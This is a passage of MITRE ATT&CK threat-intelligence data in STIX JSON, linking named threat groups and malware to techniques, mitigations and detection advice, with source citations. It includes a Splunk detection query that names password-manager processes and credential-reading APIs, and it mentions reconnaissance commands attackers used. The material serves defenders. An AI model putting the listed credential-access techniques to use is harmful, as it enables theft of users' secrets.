Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-07T15:19:28.823Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used LNK files to download remote files to the victim's network.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4011ead8-6843-4213-a32e-1edf2c50389a","type":"relationship","created":"2020-02-25T19:19:09.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.564Z","description":"Enable firewall rules to block RDP traffic between network security zones within a network.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--401790f5-abf5-4523-ac98-b200d3b34a7e","type":"relationship","created":"2021-09-30T14:01:31.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:01:31.859Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify the system time on a targeted host.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--401c021f-60eb-49ae-8019-561c2785b12f","created":"2022-08-18T15:44:11.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:21:23.208Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can exfiltrate collected data to its C2 servers.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--401dcfac-ceda-4d72-b12d-20ffb5cae4a6","created":"2022-10-07T20:47:31.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:53:12.969Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Tor](https://attack.mitre.org/software/S0183) exit nodes to execute commands.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40205b23-d3d0-4d6a-a739-7ba2eb061c4f","type":"relationship","created":"2020-05-06T21:01:23.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.620Z","description":"[Attor](https://attack.mitre.org/software/S0438) has a plugin that collects data stored in the Windows clipboard by using the OpenClipboard and GetClipboardData APIs.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4026cbce-db36-4716-95b5-68cefbe10f27","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--402acc79-8d1f-41ab-80ef-559d77b145d7","created":"2024-08-01T22:11:28.100Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:11:28.100Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) uses HTTP, and particularly HTTP POST requests, for command and control actions.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--402be191-85a7-400e-ba32-fe66c93d116f","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for the loading of modules associated with scripting languages (ex: JScript.dll).","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--402e9430-9d3a-4694-89ca-923dab3fba26","type":"relationship","created":"2019-07-18T21:12:51.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.864Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4030c6bb-1f3d-4553-90d7-b984c12c5eb7","type":"relationship","created":"2020-01-14T01:30:41.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:30:41.175Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4032bd86-db32-4270-98a4-670be6992802","type":"relationship","created":"2021-03-05T18:54:56.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.771Z","description":"(Citation: Malwarebytes Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40356b61-2279-47ef-b7bd-4b355e2fb98a","created":"2023-07-31T18:41:12.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T20:19:25.596Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used multiple methods, including [Ping](https://attack.mitre.org/software/S0097), to enumerate systems on compromised networks.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40383884-c607-48ac-9522-b5b1c8e256a9","created":"2021-10-01T01:57:31.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.705Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has checked for running containers with docker ps and for specific container names with docker inspect.(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also searched for Kubernetes pods running in a local network.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--403c4483-ad98-4779-b1f1-eb769ce8987c","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T13:42:51.662Z","description":"Monitor for API calls that may search for common password storage locations to obtain user credentials.\n\nAnalytic 1 - Suspicious API calls related to password manager access.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") EventCode IN (1, 11, 4688)\n(api IN (\"CryptUnprotectData\", \"OpenProcess\", \"ReadProcessMemory\", \"EnumProcesses\", \"EnumProcessModules\") OR CommandLine IN (\"*keepass*\", \"*lastpass*\", \"*1password*\", \"*bitwarden*\", \"*dashlane*\", \"*passwordsafe*\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--403d4873-5c16-42a0-ae6c-641f2b8bf2c8","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for newly constructed files that may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--403e9797-7824-4840-87ad-b975023d9199","created":"2021-09-28T15:46:27.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Trend Micro Qakbot May 2020","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-05T20:21:10.237Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has gained execution through users opening malicious attachments.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Deep Instinct Black Basta August 2022)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4046dc5c-822c-4c6b-9f1f-944fd0f760c6","type":"relationship","created":"2021-05-11T16:29:08.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-05-11T16:29:08.522Z","description":"[Clop](https://attack.mitre.org/software/S0611) can uninstall or disable security products.(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40495023-f12d-4789-8b11-1b14f0a4ea19","created":"2024-08-26T18:27:08.102Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:27:08.102Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has gathered information on victim organizations through email and social media interaction.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--404dfda0-7019-4f0e-a831-4b7c594916e8","type":"relationship","created":"2020-06-08T16:57:20.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T16:57:20.219Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to capture VoiceIP application audio on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--404f482d-160d-47ea-9eff-5ca7392eb5b2","type":"relationship","created":"2020-05-21T21:31:34.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.133Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used batch scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4050ee68-3f26-49e6-beec-e2a62133a1c3","type":"relationship","created":"2020-03-30T20:26:08.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus Mar 2019","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}],"modified":"2020-03-30T20:26:08.736Z","description":"An [APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40527571-0b01-4568-b72b-568ad8b419ae","type":"relationship","created":"2021-03-19T12:52:09.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T12:52:09.839Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used cmd.exe net user /domain to enumerate domain users.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4053d6f5-e594-4b52-96a2-2b7c0fa7d332","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.010Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses ipconfig /all and route PRINT to identify network adapter and interface information.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40563725-bb7f-40a2-b2da-c4cfd7799c13","created":"2022-06-15T13:57:11.610Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:06:09.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--405cbf25-6efb-4f58-90cf-609909be9a48","created":"2024-05-23T22:48:22.015Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 